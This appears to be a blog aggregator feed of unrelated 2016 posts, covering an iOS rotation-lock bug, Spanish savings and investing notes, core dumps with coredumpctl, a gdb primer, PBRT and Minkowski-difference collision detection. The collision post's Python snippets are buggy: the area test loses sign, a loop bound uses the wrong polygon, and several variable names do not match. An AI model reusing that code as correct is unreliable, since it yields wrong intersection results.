Just like last week, these were ready yesterday, but the debate talk made me push them for a day. A lot of political content, but the kind that runs deeper than the election cycle's scandal du jour. It might be time for me to solidify some of these thoughts, and do a write-up of my own.

Rachel Andrew: Developer, Speaker & Founder of Perch

Sam Solomon — Tue, 04 Oct 2016 03:00:00 GMT

Rachel Andrew Rachel Andrew is a developer, speaker, author, and founder of Perch, a friendly CMS.

Cellular Automata Fiddler

Hugh Winkler — Tue, 04 Oct 2016 01:50:08 GMT

The eight boxes below represent a rule. The rule governs how to color any pixel in a row, based on the state of the pixels in the row above. The three smaller boxes within each larger box represent the states of pixels on the previous row: the pixels to the left, directly over, and to the right of the current pixel on the new row. If you check the checkbox, the rule will color the pixel on the new row, if the three pixels on the previous row are in the states shown. This section from Wolfram's book explains it all better than I can.

Texas Water Well Levels since 2004

Hugh Winkler — Tue, 04 Oct 2016 01:50:08 GMT

I made a movie of the changes in Texas water well levels since 2004.

Lula Lake Then and Now

Hugh Winkler — Tue, 04 Oct 2016 01:50:08 GMT

As a teenager in the 1970s, I visited Lula Lake frequently. My friends and I swam, clambered over rocks, and drank beer in this wooded hideout on Lookout Mountain. A few years ago, I found a plate by photographer G. N. Barnard, traveling with the Union army about 1864 (or possibly after the war, in 1866). It’s moving to see this special place I know so well, photographed a century and a half ago. Last week I had the opportunity to visit Lula Lake for the first time in forty years. I clambered across Rock Creek and onto the boulder I believe Barnard must have stood upon to take his photograph. It’s possible he used a larger, higher boulder that stood 30 feet behind this one. That boulder was too challenging for me to ascend, and its view, now, is obscured by trees. So let’s assume I found the right boulder. I took my own photo from this position, and I've overlaid it onto the Barnard photo below. I’ve managed to align a couple of key anchor points. The cliff at right seems to have a different character, making me wonder how that would have looked from the alternate position on the other boulder. Still, I’m happy with the overlay, and I was close enough to Barnard's true position that I got the re-enactor’s experience.

iOS 10 Landscape Rotation Lock Bug

Tue, 04 Oct 2016 01:34:00 GMT

I encounter this periodically whenever I’m laying in bed with my iPhone at an angle, but I could never nail down exactly why the home screen kept reverting to landscape orientation. What adds to the frustration is that a mechanism like rotation lock always seems to sneak in an annoying bug into each major iOS release. Whether this bug was introduced with iOS 10 or was already present, I figured out the steps necessary to reproduce it.

It appears that this bug has been fixed as of iOS 10.2. Developer Relations reached out to confirm that the behavior is gone and the Radar I filed is now marked as closed. If you’re still experiencing this issue, try updating to the latest version of iOS.

Step 1

Open an app that supports landscape orientation. When it’s in landscape orientation, lock the screen.

Step 2

While the iPhone is still in landscape orientation, unlock the screen.

Step 3

While still in the app from Step 1, swipe up for Control Center and enable Rotation Lock.

Step 4

Press the Home button to exit to the home screen, swipe between screens, and the orientation should snap back to landscape erroneously.

Or if you prefer video of the bug in action:

I also filed a Radar (28604232) for this bug, so hopefully it doesn’t fall down a black hole. Leave a comment if you have any ideas on how to fix it or why simple things like this seemingly never make it into any regression testing.

La base de la inversión: el Ahorro

GeekWare - Daniel Pecos Martínez — Mon, 03 Oct 2016 10:09:37 GMT

Posiblemente si algo tuviera que ser la piedra angular de la inversión, apostaría a que lo es el ahorro.

Y es que parece lógico que para poder invertir en cualquier tipo de producto financiero, es necesario disponer de un mínimo de líquido disponible. Parece una obviedad, pero la constancia en el ahorro, determinará nuestra disponibilidad de capital para la inversión.

Pienso que ahorro e inversión son dos caras de una misma moneda: el ahorro es la herramienta que permite a la inversión hacer que éstos crezcan.

Por ello es importante preparar un análisis del flujo de efectivo mensual. Un simple ejercicio de introspectiva financiera. No es más que una hoja de cálculo donde se indiquen todos los ingresos y gastos previstos mes a mes. No es necesario ser super detallado, pero sí no olvidar ninguno de los gastos que de forma normal ocurren en cada periodo del año (primas de seguros, gastos de comunidad, vacaciones, etc). Es muy importante ser honesto con uno mismo, así como también incluir una partida para gastos imprevistos.

Con este análisis veremos cuál es nuestro disponible estimado mes a mes, y así poder determinar qué montante destinamos a ahorro. Personalmente he decidido ahorrar 500€ todos los meses. Es una cantidad que está ligeramente por encima de lo que me resulta cómodo, pero creo que de esta forma podré acercarme más rápidamente a la libertad financiera.

Todavía es pronto, pero voy intuyendo que poner todos los huevos en la misma cesta no es una opción demasiado acertada, por lo que tendré que ir planteándome cómo repartir estos ahorros mensuales en distintos tipos de inversión, no sólo bolsa.

Diversificar al fin y al cabo, posiblemente otras de las herramientas base para conseguir mayor seguridad.

No quiero perder el foco: no quiero dejar totalmente al azar el futuro de mis ahorros, si no que quiero minimizar riesgos aunque ello implique un rendimiento menor.

Aunque tampoco quiero engañarme: algún riesgo hay que asumir, aunque éste sea menor.

Fibonacci

Anardil — Mon, 03 Oct 2016 10:00:00 GMT

More than 1,1,2,3,5,8,13

Should I hand over my account & card details?

Joseph Price — Mon, 03 Oct 2016 03:00:00 GMT

While logging in to online banking...

Blogtober 2016, #2

infrequent oscillations — Sun, 02 Oct 2016 23:39:33 GMT

Today’s #inktober prompt was “NOISY”. Not a great effort but at least he looks human. Also had a decent Cathedral win on BoI:A even though the very first item was Dr Fetus - made for some tense dodging and shimmying! Still haven’t managed a win streak of more than one but the loss streaks are slowly getting shorter…

There are my core dumps!

Blog on blog.gnoack.org — Sun, 02 Oct 2016 18:45:00 GMT

As noted before, with systemd, your core dumps disappear into one of systemd’s log sinks, instead of being stored to the current directory. By now, they are recoverable by normal users again.

TL;DR: Run coredumpctl gdb to invoke gdb with the most recent core dump.

Related bug about disappearing coredumps: https://bugs.freedesktop.org/show_bug.cgi?id=54288

Scenario: A simple program that crashes with a segfault:

~/dumpcore$ cat dumpcore.c
#include <unistd.h>
void dump_core()   { int* boom = NULL; *boom = 2000; }
void its_time_to() { dump_core(); }
int main()         { its_time_to(); }
~/dumpcore$ cc -g -o dumpcore dumpcore.c
~/dumpcore$ ./dumpcore
Segmentation fault (core dumped)

Core dumps get written to systemd’s core dumps directory (see man coredumpctl), and can be retrieved with the coredumpctl tool:

~/dumpcore$ coredumpctl list
TIME                            PID   UID   GID SIG PRESENT EXE
...
Sun 2016-10-02 14:44:14 CEST   3857  1000   100  11 * /home/me/dumpcore/dumpcore

By default, coredumpctl seems to use the most recent core dump, so that you can easily inspect the most recent core dump with:

~/dumpcore$ coredumpctl gdb
           PID: 3857 (dumpcore)
           UID: 1000 (me)
           GID: 100 (users)
        Signal: 11 (SEGV)
     Timestamp: Sun 2016-10-02 14:44:14 CEST (1min 3s ago)
  Command Line: ./dumpcore
    Executable: /home/me/dumpcore/dumpcore
 Control Group: /user.slice/user-1000.slice/user@1000.service/gnome-terminal-server.service
          Unit: user@1000.service
     User Unit: user@1000.service
         Slice: user-1000.slice
     Owner UID: 1000 (me)
       Boot ID: 73902fbce4e241f5bab007aad96895eb
    Machine ID: 3ff4d30a94914397acd6af26eed15114
      Hostname: limbo
      Coredump: /var/lib/systemd/coredump/core.dumpcore.1000.73902fbce4e241f5bab007aad96895eb.3857.1475412254000000000000.lz4
       Message: Process 3857 (dumpcore) of user 1000 dumped core.

                Stack trace of thread 3857:
                #0  0x00000000004004b6 dump_core (dumpcore)
                #1  0x00000000004004cd its_time_to (dumpcore)
                #2  0x00000000004004de main (dumpcore)
                #3  0x00007f89ba351291 __libc_start_main (libc.so.6)
                #4  0x00000000004003da _start (dumpcore)

GNU gdb (GDB) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /home/me/dumpcore/dumpcore...done.
[New LWP 3857]

warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `./dumpcore'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004004b6 in dump_core () at dumpcore.c:2
2	void dump_core()   { int* boom = NULL; *boom = 2000; }
(gdb) bt
#0  0x00000000004004b6 in dump_core () at dumpcore.c:2
#1  0x00000000004004cd in its_time_to () at dumpcore.c:3
#2  0x00000000004004de in main () at dumpcore.c:4
(gdb)

Russia is..

Blogs on Michail Rybakov — Sun, 02 Oct 2016 17:07:46 GMT

..growing chicken under a high voltage transformer station.

Фермерские хозяйства, деревни и села расцветают, если включить попсу девяностых.

Blogtober 2016, #1

infrequent oscillations — Sun, 02 Oct 2016 00:53:43 GMT

Made some musical output using a couple of samples taken from a Tidal performance by Alex (with permission) - “Deconstructing Yaxu” Mostly just a droney throbby glitchy noisescape thrown together using Samplr in a coffee shop. Also did day 1, “fast”, of #inktober.

Minkowski Asteroids

Nicholas Pilkington — Sat, 01 Oct 2016 20:23:39 GMT

We have two convex polygons P and Q each moving at constant velocities Vp and Vq. At some point in time they may pass through one another. We would like to find the point in time at which the area of their intersection is at a maximum. Here is a simple visualization, where the yellow area represents the intersection and the arrow heads represents the velocity of the polygons.

Let’s first look at the problem of testing whether two polygons intersect. The simplest way to do it is to check if any edges of one polygon intersect any edges of the other. For this we need a line segment intersection algorithm. We can check if two line segments A - B and C - D intersect if the signed area of the triangle A, B, C is different from the signed area of the triangle A, B, D and similarly for C, D, A and C, D, B. It’s simple and runs in O(N^2). Here’s the code:

import numpy as np

def area(A, B, C):
     return np.linalg.norm(np.cross(B - A, B - C)) * 0.5

def intersect(A, B, C, D):
    return area(A, B, C) != area(A, B, D) and area(C, D, A) != area(C, D, B)

def polygons_intersect(P, Q):
    n = len(P)
    m = len(P)
    for i in xrange(n):
        for j in xrange(m):
            if intersect(P[i], P[(i+1)%n], Q[j], Q[(j+1)%m]):
                return True
    return False

Aside: #

There is a another way to do this using something called the hyperplane separation theorem. Rather than explaining it I’ll plot an example of how it works in two dimensions, which I think is more helpful. Take each edge of the polygons in questions and extend them outwards in the direction of their normals. In the plots below the dotted lines represent normals and the solid lines, the extensions of and edges of one of the polygons. Let’s call extensions of the edges “barriers”. Now consider projecting both shapes onto any of the barriers. This would turn them into line segments on the barriers. In the case of intersection these segments would overlap on all the barriers. Look at this plot and confirm that projecting the shapes in the center onto any barrier would yield a solid line segment, not two.

This is different in the case where there is no intersection. In this case there is at least one barrier where the projection of the shapes do not for a solid line segment. In this example it’s the purple barrier and you can see that the normal to this barrier actually shows the separation of the shapes (purple dotted line). How do we check if the projection of the shapes on to the barrier intersect? We can project those segments again down onto something simple line a horizontal line and see if their endpoints overlap.

Armed with some fast polygon intersection algorithms we can go back to our original problem and try various points in time and check whether the polygons intersect. This is still not great because there is no guarantee that they will intersect and even then, what we are actually looking for is the range of times during which the shapes intersect so we can compute the maximum area of overlap.

Let’s try another approach. First let’s make a simplification and assume that one of the shapes is stationary and the other is moving relative to it. Let’s project each point on our moving polygon out in the direction of its velocity.

These rays may or may not intersect the other polygon. In this case we have four intersections. With each of the intersections we can compute a time based on the velocity of the polygon. We can sort these times and return the minimum and maximum as time range of overlap.

def overlap_range(P, Q, V):
    for x, y in zip(*Q.exterior.xy):

        # simulate a ray as a long line segment
        SCALE = 1e10
        segment_x = [ x, x + SCALE*V[0] ]
        segment_y = [ y, y + SCALE*V[1] ]
        line = [segment_x, segment_y]

        points = intersections(P, line)

        for point in points:
            ix, iy = point.x, point.y
            # time of intersection
            when = math.hypot(x-ix, y-iy) / math.hypot(V[0], V[1])

        intersection_times.append(when)

    intersection_times.sort()

    if len(intersection_time) == 0:
        print "polygons never overlap"
    elif len(intersection_time) == 1:
        print "polygons touch by don't overlap"

    return intersection_time[0], intersection_time[-1]

Here each point on the polygon creates a line segment and that is tested against each edge of the other polygon. So we’ve handled the issues of when the polygons don’t ever intersect but we can do even better with Minkowski geometry. We’ll use something called the Minkowski difference between two sets of points. In image processing it’s related to erosion. What this does is take one shape, mirror it about the origin and then compute the Minkowski sum of the mirrored shape and the other one. The Minkowski sum is related to dilation and for two sets of points P and Q is defined as all points p+q where p is in P and q is in Q.

Don’t worry two much about the definitions. Here is the key point to understand. We are looking to compute if the two polygons intersect. If they intersect there is a point in each polygon that is inside both of them. If so mirroring one polygon and computing the Minkowski sum polygon would create a polygon that contains the origin.

Here’s some code to compute the Minkowski difference between two polygons. Since both sets are convex we take the convex hull of the resulting polygon to create a new convex polygon.

def minkowski_difference(P, Q):

    R = []

    for i in xrange(len(P)):
        for j in xrange(len(Q)):
            R.append((P[i] - Q[j], P[i] - Q[j]))

    return convex_hull(R)

The convex hull is just the minimum sized convex polygon that encloses all the points. If you hammer a bunch of nails into a board and stretch an elastic band around all the the nails; the nails that touch the elastic band are the convex hull. It can be computed in O(N*log(N)) with a Graham Scan. Here’s a image showing two sets of points (red and blue) and their corresponding convex hulls. It also shows the intersection in yellow which is the convex hull of the points in both polygons and the intersection points. Seeing this go back and confirm the key point above that if the polygons intersect their Minkowski difference contains the origin.

Now instead of having two polygons we have one green polygon that is the Minkowski difference of the other two. In addition, from the definition of the Minkowski difference, we know that if the origin is inside this polygon the two comprising polygons intersect one another. This is a really important fact which let’s us compute collisions really fast and more importantly when the collision will happen. We can also compute the first and last points of intersection of these polygons using a single ray from the origin in the direction of the relative velocities of the polygons.

Here’s an illustration of what is happening in both normal and Minkowski space. You can see the blue and red polygons passing through one another. At the same time you can watch the green polygon representing the Minkowski difference between the red and blue polygon moving through the origin at the same time.

Once we’ve retrieved this range (the first and last intersection times) we can sample some points in that range and compute the overlap. The intersection of two convex polygons another convex polygon which is the convex hull of the intersections points and points that lie inside both polygons. Using our convex hull function and our intersection function we can compute this polygon and then use the Surveyor’s Algorithm to compute the area.

Finally putting all the pieces together we have an algorithm that takes the Minkowski difference of two polygons then computes the (generally) two points of intersection of the ray from the origin to the Minkowski difference polygon. Using the times of the two intersections we can compute the overlap of the two polygons as a function of time. Plotting the result we get this.

The final task remains to compute the maximum of this function. It seems that that the overlap is unimodal where the maximum is reached if one shape is entirely inside the other. Theres is proof in this paper . Since the function is unimodal we can use a ternary search to quickly compute the maximum in O(log N).

def findMax(objectiveFunc, lower, upper):

    if abs(upper - lower) < 1e-6:
        return (lower + upper)/2

    lowerThird = (2*lower + upper)/3
    upperThird = (lower + 2*upper)/3

    if objectiveFunc(lowerThird) < objectiveFunc(upperThird):
        return findMax(objectiveFunc, lowerThird, upper)
    else:
        return findMax(objectiveFunc, lower, upperThird)

Minkowski geometry extends to N dimensions and the principles stay the same - which can make it easier to do things like collision detection and response in 3 dimensions where the more simplistic methods don’t generalize well. This question was posed at the ICPC ACM World Finals.

Cambodia travel bookmarks

xenodium.com @alvaro — Sat, 01 Oct 2016 03:00:00 GMT

Pub Street (Siem Reap, Cambodia).

New York travel bookmarks

xenodium.com @alvaro — Sat, 01 Oct 2016 03:00:00 GMT

Glossolalia

Blogs on Michail Rybakov — Fri, 30 Sep 2016 17:07:46 GMT

My nephew Timofey has some trouble accepting the arbitrary authority of adults. In this case, while the mother was away, an older man said something to him in an authoritative voice. Timofey’s reaction was to try and search for his mother, and - after that proved ineffective - to discharge his emotions in a loud, angry but non-confrontational way. He just screamed some meaningless speech-like sounds into the air.

Glossolalia - speaking in tongues - is practiced in some religious communities that consider it to be a divine language.
The people of Deepmind trained it’s neural networks to find a better model of speech generation. And now, without an input it speaks in tonges (scroll down to “Knowing What to Say”).

Perhaps it is a good way for a computer to get emotional. In case an older man blindly assumes authority over it.

mgmt has a logo

The Technical Blog of James on purpleidea.com — Fri, 30 Sep 2016 11:41:06 GMT

The mgmt config project got a logo! The full commit is here. Thanks to Sarah Jane Cox for creating it.

Happy Hacking,

James

PS: I might have a few stickers to give out too! Ask me next time you see me if you’d like one! Alternatively, use the artwork to make your own and share with your friends!

You can hire James and his team at m9rx corporation.
You can follow James on Mastodon for more frequent updates and other random thoughts.
You can follow James on Twitter for more frequent updates and other random thoughts.
You can support James on GitHub if you'd like to help sustain this kind of content.
You can support James on Patreon if you'd like to help sustain this kind of content.

Mailing list manager

Allan's Blog — Fri, 30 Sep 2016 04:40:57 GMT

I needed a simple mailing list manager for a sports club I'm in. We wanted it to be of the type where an administrator manages the lists (not the type where any random person can subscribe him- or herself). Couldn't find any decent looking free service offering this, so I decided to make one: mailgroup.io .

These are its features:

Free for noncommercial use.
Your own custom domain.
Or @mailgroup.io as domain if you prefer.
Your choice of members-only mailing lists, or everyone-may-write.
Detailed Postfix delivery reports for each mail for each recipient.
Max 50 recipients per account (negotiable).
Mail triggers. These are special email addresses that trigger HTTP POSTs with the email content to a defined URL when they receive email. Useful if you want some logic on your website to be triggered by email.

Physically Based Rendering 3rd Edition

Code & Visuals — Fri, 30 Sep 2016 03:00:00 GMT

Today is the release date for the digital version of the new Physically Based Rendering 3rd Edition, by Matt Pharr, Wenzel Jakob, and Greg Humphreys. As anyone in the rendering world knows, Physically Based Rendering is THE reference book for the field; for novices, Physically Based Rendering is the best introduction one can get to the field, and for experts, Physically Based Rendering is an invaluable reference book to consult and check. I share a large office with three other engineers on the Hyperion team, and I think between the four of us, we actually have an average of more than one copy per person (of varying editions). I could not recommend this book enough. The third edition adds Wenzel Jakob as an author; Wenzel is the author of the research-oriented Mitsuba Renderer and is one of the most prominent new researchers in rendering in the past decade. There is a lot of great new light transport stuff in the third edition, which I’m guessing comes from Wenzel. Both Wenzel’s work and the previous editions of Physically Based Rendering were instrumental in influencing my path in rendering, so of course I’ve already had the third edition on pre-order since it was announced over a year ago.

Each edition of Physically Based Rendering is accompanied by a major release of the PBRT renderer, which implements the book. The PBRT renderer is a major research resource for the community, and basically everyone I know in the field has learned something or another from looking through and taking apart PBRT. As part of the drive towards PBRT-v3, Matt Pharr made a call for interesting scenes to provide as demo scenes with the PBRT-v3 release. I offered Matt the PBRT-v2 scene I made a while back, because how could that scene not be rendered in PBRT? I’m very excited that Matt accepted and included the scene as part of PBRT-v3’s example scenes! You can find the example scenes here on the PBRT website.

Converting the scene to PBRT’s format required a lot of manual work, since PBRT’s scene specification and shading system is very different from Takua’s. As a result, the image that PBRT renders out looks slightly different from Takua’s version, but that’s not a big deal. Here is the scene rendered using PBRT-v3:

…and for comparison, the same scene rendered using Takua:

Really, it’s just the lighting that is a bit different; the Takua version is slightly warmer and slightly underexposed in comparison.

At some point I should make an updated version of this scene using the third edition book. I’m hoping to be able to contribute more of my Takua test scenes to the community in PBRT-v3 format in the future; giving back to such a major influence on my own career is extremely important. As part of the process of porting the scene over to PBRT-v3, I also wrote a super-hacky render viewer for PBRT that shows the progress of the render as the renderer runs. Unfortunately, this viewer is mega-hacky, and I don’t have time at the moment to clean it up and release it. Hopefully at some point I’ll be able to; alternatively, anyone else who wants to take a look and give it a stab, feel free to contact me.

Addendum 2017-04-28

Matt was recently looking for some interesting water-sim scenes to demonstrate dielectrics and glass materials and refraction and whatnot. I contributed a few frames from my PIC/FLIP fluid simulator, Ariel. Most of the data from Ariel doesn’t exist in meshed format anymore; I still have all of the raw VDBs and stuff, but the meshes took up way more storage space than I could afford at the time. I can still regenerate all of the meshes though, and I also have a handleful of frames in mesh form still from my attenuated transmission blog post. The frame from the first image in that post is now also included in the PBRT-v3 example scene suite! The PBRT version looks very different since it is intended to demonstrate and test something very different from what I was doing in that blog post, but it still looks great!

Working with Directories

Mike Schaeffer — Fri, 30 Sep 2016 03:00:00 GMT

This is a bash function definition that takes you to the top level directory of a git project.

function cdtop() {
    local git_root;

    git_root=`git rev-parse --show-toplevel`;

    if [ $? -eq 0 ]
    then
        cd ${git_root}
    else
        return 1
    fi
}

Here's a git alias that does serves a similar purpose. What this does is define a new alias, exec, that executes a shell command in the current project's root.

git config --global alias.exec '!exec '

With this alias defined, you can say the following and it will take you to the project root.

cd `git exec pwd`

http://stackoverflow.com/questions/957928/is-there-a-way-to-get-the-git-root-directory-in-one-command

¿Es la bolsa la inversión que quiero para mis ahorros?

GeekWare - Daniel Pecos Martínez — Thu, 29 Sep 2016 07:51:17 GMT

Sede de la bolsa de mercados y valores de madrid

Permíteme que te explique cómo decidí que la inversión en bolsa era el camino que quería seguir para rentabilizar mis modestas inversiones.

Todo empezó por una (creo que sensata) preocupación por cómo llegaría al momento de mi jubilación. La primera preocupación, y aunque parece remota, era siquiera si iba a disponer de una jubilación y la segunda, si la cantidad a percibir cubriría lo que a mi me gustaría. Al fin y al cabo son los últimos años de tu vida disponibles para disfrutar, tras más de 40 años de trabajo.

Esto me llevó por el camino más lógico: buscar planes de jubilación privados. Todo suena bien en un primer momento: ahorras la cantidad que te parezca oportuna (incluso algunos de ellos no te imponen una periodicidad) y además reduces tu base imponible, ahorrándote impuestos cada año. ¡Y encima el dinero genera intereses!

Pero (tenía que haberlo) pierdes la disponibilidad de esos ahorros hasta el momento de la jubilación. Es verdad, hay condiciones de rescate bajo las cuales es posible recuperar tus ahorros de forma anticipada, pero en cualquier caso, si estás en esas condiciones, estás realmente jodido y el disponer o no de tus ahorros de toda la vida no es el mayor de tus problemas llegados a esa situación.

Continué investigando y lo siguiente en que me fijé fueron los depósitos a renta fija y los fondos de inversión (en renta fija), cualquier cosa que sonara a renta variable me daba realmente pánico ¿quién en su sano juicio quiere jugarse su esfuerzo por un posible beneficio? Estos tipos de productos en general dan un buen nivel de seguridad aunque a unos intereses modestos. Aún así, frente a las ventajas fiscales que ofrecen los planes de jubilación, se me quedaban algo cortos.

Así pues, parece que la renta variable es la única opción restante y no demasiado descabellada como puede ser la inversión en futuros, derivados o CFDs. Pero mi conocimiento de este tipo de productos es muy superficial, necesitaría tiempo para conocer el mercado y las características de éstos, antes de ponerme a invertir en serio en cualquiera de estas opciones.

Llegados a este punto decidí meter la cabeza en la operativa de bolsa con un capital mínimo, así que contraté el broker de ING, invertí 1.000€ en una ETF que replica el IBEX (ahora mismo, se encuentra en valores bajos teniendo en cuenta su histórico y es de esperar que a medio / largo recupere el valor de 10.000 o más) y que además reparte dividendos y me daría unos meses a mi mismo para formarme y poder tomar decisiones con una mejor base.

Y en este punto me encuentro. En futuros posts explicaré más en detalle los distintos productos de los que he estado hablando e iré revisando los distintos libros que vaya leyendo y compartiendo mi opinión sobre ellos con todos vosotros.

An evening with The Woz

Jason Eckert's Website and Blog — Thu, 29 Sep 2016 03:00:00 GMT

I specifically attended yesterday’s Fuzenation Technology & Music Summit in Kitchener, Ontario to hear Steve Wozniak (a.k.a. The Woz) speak.

In short, he’s the co-founder of Apple, and the engineer who created the Apple I and Apple II computers. The Apple II was the first successful, mass-produced personal computer, and as the Woz points out, the “first one that could play arcade games in full colour” (I still have an Apple II that I use to play arcade games like Donkey Kong).

A primer in how to use `gdb`

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Wed, 28 Sep 2016 21:51:26 GMT

Debugging is one of the primary skills every computer science student should acquire. I want to provide an easy introduction to this topic, starring C++ and gdb, the debugger of the GNU project. In the following, I assume that the reader is somewhat familiar with the basic concepts of C++ programming.

A simple example

Let’s assume that we want to transform a string into a palindrome and write the following program to do so:

#include <iostream>
#include <string>

std::string palindrome( std::string s )
{
  for( auto i = s.size() - 1; i >= 0; i-- )
  {
    if( s[i] != s[s.size() - i - 1] )
      s[s.size() - i - 1] = s[i];
  }

  return s;
}

int main()
{
  std::cout << palindrome( "Hello, World!" ) << std::endl;
}

We compile the program using

$ g++ -std=c++11 foo.cc

and run ./a.out just to find out that the program crashes with a segmentation fault. Bummer. Let’s recompile the program and prepare it for debugging. To this end, we just add the -g switch on the command-line for the compiler. This ensures that debug symbols are included. Loosely speaking, these symbols are required for the debugger to connect the binary executable with our source code.

So, we issue

$ g++ -std=c++11 -g foo.cc

and run gdb with our executable as an argument:

$ gdb a.out

This should result in output that is somewhat similar to this:

GNU gdb (GDB) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
---Type <return> to continue, or q <return> to quit---
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
---Type <return> to continue, or q <return> to quit---
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from a.out...done.
(gdb)

The most important thing is that gdb greets us with its own prompt, meaning that from now on, we directly interact with the debugger instead of running the program directly.

We first run the binary to find out what happens:

(gdb) run

This should yield an output similar to

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400bd4 in palindrome (s="!dlroW World!") at foo.cc:8
8	    if( s[i] != s[s.size() - i - 1] )

and send us right back to the prompt. We can see that our program caused a segmentation fault. This error usually indicates that we accessed memory that does not belong to our program somewhere along the way.

How can we find out more about what went wrong? We first take a look at the backtrace of the error. Roughly speaking, these are all the functions that are currently active—currently meaning at the time of the error.

To find out more about the backtrace, we type bt or backtrace:

(gdb) bt

This gives us lines like these:

#0  0x0000000000400bd4 in palindrome (s="!dlroW World!") at foo.cc:8
#1  0x0000000000400c65 in main () at foo.cc:17

Not too surprisingly, the last function, i.e. function #2, is the main function of our program. After that, our palindrome function was called. Each of the lines in this list is referred to as a frame. To see a specific frame—i.e. a certain function along with its code—we type frame NUMBER or f NUMBER.

Let us first take a look at the main function:

(gdb) frame 1

This gives us some code:

#1  0x0000000000400c65 in main () at foo.cc:17
17	  std::cout << palindrome( "Hello, World!" ) << std::endl;

We can see the line number (17) and some of the parameters of the function. Furthermore, we see the next function call, viz. palindrome, which in turn causes the segmentation fault.

Since the line looks relatively safe, there must be an issue with the variables that are used to access the characters of the string. So, let’s get back to the first frame:

(gdb) frame 0
#0  0x0000000000400bd4 in palindrome (s="!dlroW World!") at foo.cc:8
8	    if( s[i] != s[s.size() - i - 1] )

Again, the if condition seems relatively safe. To cause a segmentation fault, we must access some bad memory somewhere. Thus, let us take a look at the values of the variables at this point. To this end, we can use the print command or p for short.

Let us begin with the string itself:

(gdb) print s
$1 = "!dlroW World!"

This seems to be correct so far. There is certainly nothing wrong here. So let us try the loop variable next:

(gdb) print i
$2 = 18446744073709549580

Alright. I am fairly confident that our string is not that long. So, we have identified the culprit—something is going wrong with the loop counter. At this point, we could use the edit command to open the file in our favourite editor and add some std::cout statements.

Yes, I am serious. std::cout can be a very powerful debugging tool! As long as we give some serious thought to identifying potential places in our code that may cause an error, there is nothing wrong with sprinkling some printing statements over your code. Of course we could also set breakpoints and watch how the value of i changes over the course of the program. But this is more advanced stuff, so I will rather cover it in another article.

So, let us assume that we have added enough std::cout statements. Running the program with these statements quickly shows that we are traversing the string incorrectly. As s.size() is always unsigned, the condition i >= 0 in the loop always evaluates to true. By traversing the string in a forward manner, e.g.

for( std::size_t i = 0; i < s.size(); i++ )

we finally get our program to work, resulting in the beautiful output of

Hello, ,olleH

Fun with `make`

If you have a Makefile—or if you are using CMake, for example—the debugger offers you a very cool integrated workflow. You can directly use edit to work on the code. Afterwards, you can type make to recompile the program, followed by run to check its behaviour again. For easily-fixable errors, this means that you never even have to leave the debugger. More about this in a subsequent article.

Conclusion

In the next article, we shall see how to combine debugging with make. Also, I want to show you the wonderful world of breakpoints. Until that time, here are the main lessons of debugging:

Try to figure out what causes the error
Always assume that your code is at fault
Do not be afraid of using std::cout or printf or whatever for debugging. Whatever works.
Always compile with extra warnings enabled. By compiling with -Wall -Wextra, the compiler already helps you catch a lot of potential issues. In our case, for example, the compiler would have complained with comparison of unsigned expression >= 0 is always true, which would have already caught the error before debugging.

Happy bug-fixing!

gRPC wrong types context and Go 1.7

Fabrice Aneche — Wed, 28 Sep 2016 20:15:53 GMT

If you are following Go development you probably know that: Go 1.7 moves the golang.org/x/net/context package into the standard library as context, Yeah ! Unfortunately it won’t work for everything, I’ve spent some time understanding this one. For example if you are using gRPC you can hit this problem, here is an interface generated by gRPC: type APRSServer interface { GetPastMessages(context.Context, *Point) (*ARPSMessages, error) } But when compiling: /main.go:153: cannot use &s (type *Server) as type protorpc.

What Is a Virtual Machine Hypervisor?

Justin Garrison's Homepage — Wed, 28 Sep 2016 18:08:33 GMT

Hypervisors are what make virtual machines possible, and they aren’t just for servers

Startup Cargo Cults: What They Are and How to Avoid Them

Coding VC — Wed, 28 Sep 2016 06:52:00 GMT

“In the South Seas there is a Cargo Cult of people.

¿Interesado en invertir y no sabes por dónde empezar?

GeekWare - Daniel Pecos Martínez — Wed, 28 Sep 2016 05:55:09 GMT

No te sientas solo, es lo más normal.

Y lo digo porque a mi me pasa exactamente lo mismo: es un mundo lleno de _jargon _y donde cometer un error sale caro, pero por contra, el potencial beneficio es muy interesante.

¿Y por qué si no tengo ni idea de en lo que me estoy metiendo, sigo adelante?

Primero: quiero ahorrar y que mis ahorros crezcan lo máximo posible, como le gustaría a cualquier hijo de vecino.

Segundo: aunque en este punto 0, optar por la libertad financiera queda lejos, el objetivo está claro y el camino todo un reto.

Y por último: porque es emocionante.

En este blog trataré de ser lo más trasparente posible sobre los pasos y decisiones que voy tomando, así como sus resultados y conclusiones. Además compartiré todos lo utilizaré como libreta de apuntes, con el fin de allanar el camino al resto de novatos que se quieran internar en este mundo de la inversión.

Bienvenido!

Links - September 28, 2016

Avy Faingezicht — Wed, 28 Sep 2016 03:00:00 GMT

Plain JavaScript animated window scroll function

Muffin Man — Wed, 28 Sep 2016 03:00:00 GMT

Before modern frameworks, I always used jQuery's scrollTo method. At some point, not every project included jQuery, so I wrote simple function to animate window scroll.

I have kept copying that function from project to project. Finally I took some time, cleaned it up and published it on the npm (this is the first npm package I published).

Check the demo and read documentation of Github.

Find it on Github and npm

Installation #

npm install animated-scroll-to

Usage #

import animateScrollTo from 'animated-scroll-to';

